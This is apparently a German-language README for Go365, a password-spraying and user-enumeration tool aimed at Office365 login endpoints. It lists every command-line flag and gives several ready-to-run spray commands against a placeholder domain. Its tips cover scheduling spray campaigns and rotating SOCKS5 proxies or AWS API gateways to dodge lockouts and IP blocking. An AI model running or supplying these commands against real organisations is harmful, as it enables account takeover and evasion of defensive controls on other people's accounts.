
Ein Angriffstool für Office365-Benutzer
Bitte lies die gesamte README, bevor du Go365 verwendest!
Go365 ist ein Tool, das entwickelt wurde, um User-Enumeration* und Passwort-Angriffe auf Organisationen durchzuführen, die Office365 (jetzt/bald Microsoft365) verwenden. Go365 verwendet einen einzigartigen SOAP-API-Endpunkt auf login.microsoftonline.com, den die meisten anderen Tools nicht nutzen. Wenn eine E-Mail-Adresse und ein Passwort abgefragt werden, antwortet der Endpunkt mit einem Azure AD Authentifizierungs- und Autorisierungscode. Dieser Code wird dann von Go365 verarbeitet und das Ergebnis auf dem Bildschirm oder in eine Ausgabedatei ausgegeben.
* User-Enumeration wird in Verbindung mit einem Passwort-Versuch durchgeführt. Daher gibt es kein spezielles Flag oder eine Funktion, um nur User-Enumeration durchzuführen. Führe stattdessen deinen ersten Passwort-Angriff durch und werte die Ergebnisse auf gültige Benutzer aus.
Lade eine vorkompilierte Binärdatei für dein Betriebssystem HIER herunter.
Lade den Quellcode herunter und kompiliere lokal.
go build Go365.go
$ ./Go365
██████ ██████ ██████ ██████
██ ██ ██ ██
██ ███ ████ █████ ███████ ██████
██ ██ ██ ██ ██ ██ ██ ██
██████ ████ ██████ ██████ ██████
Version: 2.0
Authors: paveway3, h0useh3ad, S4R1N, EatonChips
Usage:
-h Zeigt diesen Kram an
Required - Endpoint:
-endpoint [rst or graph] Gib an, welcher Endpunkt verwendet werden soll
: (-endpoint rst) *Klassisches Go365!* login.microsoftonline.com/rst2.srf. SOAP-XML-Anfrage mit XML-Antwort
: (-endpoint graph) login.microsoft.com/common/oauth2/token. HTTP-POST-Anfrage mit JSON-Antwort
Required - Usernames and Passwords:
-u <string> Einzelnen Benutzernamen testen
: Benutzername mit oder ohne "@domain.com"
: Muss auch das Flag -d angeben, um die Domäne festzulegen
: (-u [email protected])
-ul <file> Benutzernamenliste verwenden (überschreibt -u)
: Datei sollte einen Benutzernamen pro Zeile enthalten
: Benutzernamen können "@domain.com" enthalten
: Wenn keine Domäne angegeben ist, wird die -d-Domäne verwendet
: (-ul ./usernamelist.txt)
-p <string> Zu testendes Passwort
: In einfache Anführungszeichen setzen, wenn es Sonderzeichen enthält
: (-p password123) oder (-p 'p@s$w0|2d')
-pl <file> Passwortliste verwenden (überschreibt -p)
: Datei sollte ein Passwort pro Zeile enthalten
: Das Flag -delay kann verwendet werden, um eine Pause zwischen den Versuchen einzufügen
: (-pl ./passwordlist.txt)
-up <file> Liste von Benutzer-Passwort-Paaren verwenden (überschreibt alle obigen Optionen)
: Ein Benutzername und ein Passwort getrennt durch ":" pro Zeile
: Vorsicht vor doppelten Benutzernamen!
: (-up ./userpasslist.txt)
Required/Optional - Domain:
-d <string> Zu testende Domäne
: Verwende dies, wenn der Benutzername oder die Benutzernamenliste kein "@targetcompany.com" enthält
: (-d targetcompany.com)
Optional:
-w <int> Wartezeit zwischen Versuchen in Sekunden.
: Standard: 1 Sekunde. 5 Sekunden empfohlen.
: (-w 10)
-delay <int> Verzögerung (in Sekunden) zwischen Sprays bei Verwendung einer Passwortliste.
: Standard: 60 Minuten (3600 Sekunden) empfohlen.
: (-delay 7200)
-o <string> Ausgabedatei zum Schreiben
: Hängt an, wenn die Datei existiert, andernfalls wird eine Datei erstellt
: (-o ./Go365output.out)
-proxy <string> Ein einzelner SOCKS5-Proxy-Server zur Verwendung
: IP-Adresse und Port getrennt durch ":"
: SOCKS5-Proxy
: (-proxy 127.0.0.1:1080)
-proxyfile <string> Eine Datei mit einer Liste von SOCKS5-Proxy-Servern zur Verwendung
: IP-Adresse und Port getrennt durch ":" in jeder Zeile
: Wählt zufällig einen Proxy-Server vor jeder Anfrage aus
: (-proxyfile ./proxyfile.txt)
-url <string> Endpunkt, an den Anfragen gesendet werden sollen
: Amazon API Gateway 'Invoke URL'
: Es wird dringend empfohlen, diese Option zu verwenden. Google es, oder
: schau dir das an: https://bigb0sss.github.io/posts/redteam-rotate-ip-aws-gateway/
: (-url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login)
-debug Debug-Modus.
: XML-Antwort ausgeben
./Go365 -endpoint rst -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5
./Go365 -endpoint rst -up ./userpass_list.txt -delay 3600 -d pwnthisfakedomain.com -w 5 -o Go365output.txt
./Go365 -endpoint graph -u legituser -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxy 127.0.0.1:1080
./Go365 -endpoint rst -u legituser -pl ./pass_list.txt -delay 1800 -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login
Du kannst sogar deine gesamte Passwort-Angriffskampagne mit den Flags -pl und -delay planen :)
./Go365 -endpoint rst -ul ./user_list.txt -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login -proxyfile listofprox.txt -pl listofpasswords.txt -delay 7200
*Protip: Wenn du viele „Konto gesperrt"-Antworten bekommst, solltest du vielleicht einen Proxy oder ein AWS Gateway verwenden.
Protip: Du sperrst Konten wahrscheinlich nicht wirklich.